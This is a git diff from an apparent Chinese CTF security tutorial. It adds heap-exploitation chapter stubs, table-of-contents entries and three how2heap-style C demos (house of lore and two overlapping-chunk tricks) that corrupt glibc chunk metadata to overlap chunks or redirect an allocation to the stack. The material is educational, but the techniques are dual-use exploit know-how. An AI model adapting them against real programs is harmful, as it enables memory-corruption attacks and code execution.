0x00007ffff7dd1b78 +0x602160: 0x4141414141414141 0x4141414141414141 +0x602170: 0x4141414141414141 0x4141414141414141 +0x602180: 0x4141414141414141 0x4141414141414141 +0x602190: 0x4141414141414141 0x4141414141414141 +0x6021a0: 0x4141414141414141 0x4141414141414141 +0x6021b0: 0x4141414141414141 0x4141414141414141 +0x6021c0: 0x4141414141414141 0x4141414141414141 +0x6021d0: 0x00000000000001b0 0x0000000000000020 <-- chunk 5 <-- prev_size +0x6021e0: 0x4141414141414141 0x4141414141414141 +0x6021f0: 0x4141414141414141 0x0000000000020e11 <-- top chunk +0x602200: 0x0000000000000000 0x0000000000000000 +0x602210: 0x0000000000000000 0x0000000000000000 +0x602220: 0x0000000000000000 0x0000000000000000 +gef➤ heap bins unsorted +[ Unsorted Bin for arena 'main_arena' ] +[+] unsorted_bins[0]: fw=0x602020, bk=0x602020 + → Chunk(addr=0x602030, size=0x1b0, flags=PREV_INUSE) +``` +现在 unsorted bin 里的 chunk 的大小为 0x1b0,即 0x90*3。咦,所以 chunk 3 虽然是使用状态,但也被强行算在了 free chunk 的空间里了。 + +最后,如果我们分配一块大小为 0x1b0-0x10 的大空间,返回的堆块即是包括了 chunk 2 + chunk 3 + chunk 4 的大 chunk。这时 chunk 6 和 chunk 3 就重叠了,结果就像上面运行时打印出来的一样。 diff --git a/doc/3.3.7_heap_exploit_3.md b/doc/3.3.7_heap_exploit_3.md new file mode 100644 index 0000000..bff0c54 --- /dev/null +++ b/doc/3.3.7_heap_exploit_3.md @@ -0,0 +1,19 @@ +# 3.3.7 Linux 堆利用(下) + +- [how2heap](#how2heap) + - [house_of_force](#house_of_force) + - [unsorted_bin_attack](#unsorted_bin_attack) + - [house_of_einherjar](#house_of_einherjar) + - [house_of_orange](#house_of_orange) + + +[下载文件](../src/Others/3.3.5_heap_exploit) + +## how2heap +#### house_of_force + +#### unsorted_bin_attack + +#### house_of_einherjar + +#### house_of_orange diff --git a/doc/3.3_pwn.md b/doc/3.3_pwn.md index 99411d6..cbfe413 100644 --- a/doc/3.3_pwn.md +++ b/doc/3.3_pwn.md @@ -6,3 +6,4 @@ - [3.3.4 返回导向编程(ROP)](3.3.4_rop.md) - [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md) - [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md) +- [3.3.7 Linux 堆利用(下)](3.3.7_heap_exploit_3.md) diff --git a/doc/3_topics.md b/doc/3_topics.md index 2cf8ac1..3b247f6 100644 --- a/doc/3_topics.md +++ b/doc/3_topics.md @@ -8,7 +8,11 @@ - [3.3.2 整数溢出](3.3.2_integer_overflow.md) - [3.3.3 栈溢出](3.3.3_stack_overflow.md) - [3.3.4 返回导向编程(ROP)](3.3.4_rop.md) - - [3.3.5 堆利用](3.3.5_heap_exploit.md) + - [3.3.5 Linux 堆利用(上)](3.3.5_heap_exploit_1.md) + - [3.3.6 Linux 堆利用(中)](3.3.6_heap_exploit_2.md) + - [3.3.7 Linux 堆利用(下)](3.3.7_heap_exploit_3.md) - [3.4 Web](3.4_web.md) + - [3.4.1 SQL 注入利用](3.4.1_sql_injection.md) + - [3.4.2 XSS 漏洞利用](3.4.2_xss.md) - [3.5 Misc](3.5_misc.md) - [3.6 Mobile](3.6_mobile.md) diff --git a/src/Others/3.3.5_heap_exploit/house_of_lore.c b/src/Others/3.3.5_heap_exploit/house_of_lore.c new file mode 100644 index 0000000..747e269 --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/house_of_lore.c @@ -0,0 +1,47 @@ +#include +#include +#include +#include + +void jackpot(){ puts("Nice jump d00d"); exit(0); } + +int main() { + intptr_t *victim = malloc(0x80); + memset(victim, 'A', 0x80); + void *p5 = malloc(0x10); + memset(p5, 'A', 0x10); + intptr_t *victim_chunk = victim - 2; + fprintf(stderr, "Allocated the victim (small) chunk: %p\n", victim); + + intptr_t* stack_buffer_1[4] = {0}; + intptr_t* stack_buffer_2[3] = {0}; + stack_buffer_1[0] = 0; + stack_buffer_1[2] = victim_chunk; + stack_buffer_1[3] = (intptr_t*)stack_buffer_2; + stack_buffer_2[2] = (intptr_t*)stack_buffer_1; + fprintf(stderr, "stack_buffer_1: %p\n", (void*)stack_buffer_1); + fprintf(stderr, "stack_buffer_2: %p\n\n", (void*)stack_buffer_2); + + free((void*)victim); + fprintf(stderr, "Freeing the victim chunk %p, it will be inserted in the unsorted bin\n", victim); + fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + void *p2 = malloc(0x100); + fprintf(stderr, "Malloc a chunk that can't be handled by the unsorted bin, nor the SmallBin: %p\n", p2); + fprintf(stderr, "The victim chunk %p will be inserted in front of the SmallBin\n", victim); + fprintf(stderr, "victim->fd: %p\n", (void *)victim[0]); + fprintf(stderr, "victim->bk: %p\n\n", (void *)victim[1]); + + victim[1] = (intptr_t)stack_buffer_1; + fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n"); + + void *p3 = malloc(0x40); + char *p4 = malloc(0x80); + memset(p4, 'A', 0x10); + fprintf(stderr, "This last malloc should return a chunk at the position injected in bin->bk: %p\n", p4); + fprintf(stderr, "The fd pointer of stack_buffer_2 has changed: %p\n\n", stack_buffer_2[2]); + + intptr_t sc = (intptr_t)jackpot; + memcpy((p4+40), &sc, 8); +} diff --git a/src/Others/3.3.5_heap_exploit/overlapping_chunks.c b/src/Others/3.3.5_heap_exploit/overlapping_chunks.c new file mode 100644 index 0000000..7e0b9a3 --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/overlapping_chunks.c @@ -0,0 +1,39 @@ +#include +#include +#include +#include + +int main() { + intptr_t *p1,*p2,*p3,*p4; + + p1 = malloc(0x90 - 8); + p2 = malloc(0x90 - 8); + p3 = malloc(0x80 - 8); + memset(p1, 'A', 0x90 - 8); + memset(p2, 'A', 0x90 - 8); + memset(p3, 'A', 0x80 - 8); + fprintf(stderr, "Now we allocate 3 chunks on the heap\n"); + fprintf(stderr, "p1=%p\np2=%p\np3=%p\n\n", p1, p2, p3); + + free(p2); + fprintf(stderr, "Freeing the chunk p2\n"); + + int evil_chunk_size = 0x111; + int evil_region_size = 0x110 - 8; + *(p2-1) = evil_chunk_size; // Overwriting the "size" field of chunk p2 + fprintf(stderr, "Emulating an overflow that can overwrite the size of the chunk p2.\n\n"); + + p4 = malloc(evil_region_size); + fprintf(stderr, "p4: %p ~ %p\n", p4, p4+evil_region_size); + fprintf(stderr, "p3: %p ~ %p\n", p3, p3+0x80); + + fprintf(stderr, "\nIf we memset(p4, 'B', 0xd0), we have:\n"); + memset(p4, 'B', 0xd0); + fprintf(stderr, "p4 = %s\n", (char *)p4); + fprintf(stderr, "p3 = %s\n", (char *)p3); + + fprintf(stderr, "\nIf we memset(p3, 'C', 0x50), we have:\n"); + memset(p3, 'C', 0x50); + fprintf(stderr, "p4 = %s\n", (char *)p4); + fprintf(stderr, "p3 = %s\n", (char *)p3); +} diff --git a/src/Others/3.3.5_heap_exploit/overlapping_chunks_2.c b/src/Others/3.3.5_heap_exploit/overlapping_chunks_2.c new file mode 100644 index 0000000..441a72d --- /dev/null +++ b/src/Others/3.3.5_heap_exploit/overlapping_chunks_2.c @@ -0,0 +1,50 @@ +#include +#include +#include +#include +#include + +int main() { + intptr_t *p1,*p2,*p3,*p4,*p5,*p6; + unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6; + int prev_in_use = 0x1; + + p1 = malloc(0x10); + p2 = malloc(0x80); + p3 = malloc(0x80); + p4 = malloc(0x80); + p5 = malloc(0x10); + real_size_p1 = malloc_usable_size(p1); + real_size_p2 = malloc_usable_size(p2); + real_size_p3 = malloc_usable_size(p3); + real_size_p4 = malloc_usable_size(p4); + real_size_p5 = malloc_usable_size(p5); + memset(p1, 'A', real_size_p1); + memset(p2, 'A', real_size_p2); + memset(p3, 'A', real_size_p3); + memset(p4, 'A', real_size_p4); + memset(p5, 'A', real_size_p5); + fprintf(stderr, "Now we allocate 5 chunks on the heap\n\n"); + fprintf(stderr, "chunk p1: %p ~ %p\n", p1, (unsigned char *)p1+malloc_usable_size(p1)); + fprintf(stderr, "chunk p2: %p ~ %p\n", p2, (unsigned char *)p2+malloc_usable_size(p2)); + fprintf(stderr, "chunk p3: %p ~ %p\n", p3, (unsigned char *)p3+malloc_usable_size(p3)); + fprintf(stderr, "chunk p4: %p ~ %p\n", p4, (unsigned char *)p4+malloc_usable_size(p4)); + fprintf(stderr, "chunk p5: %p ~ %p\n", p5, (unsigned char *)p5+malloc_usable_size(p5)); + + free(p4); + fprintf(stderr, "\nLet's free the chunk p4\n\n"); + + fprintf(stderr, "Emulating an overflow that can overwrite the size of chunk p2 with (size of chunk_p2 + size of chunk_p3)\n\n"); + *(unsigned int *)((unsigned char *)p1 + real_size_p1) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; // BUG HERE + + free(p2); + + p6 = malloc(0x1b0 - 0x10); + real_size_p6 = malloc_usable_size(p6); + fprintf(stderr, "Allocating a new chunk 6: %p ~ %p\n\n", p6, (unsigned char *)p6+real_size_p6); + + fprintf(stderr, "Now p6 and p3 are overlapping, if we memset(p6, 'B', 0xd0)\n"); + fprintf(stderr, "p3 before = %s\n", (char *)p3); + memset(p6, 'B', 0xd0); + fprintf(stderr, "p3 after = %s\n", (char *)p3); +}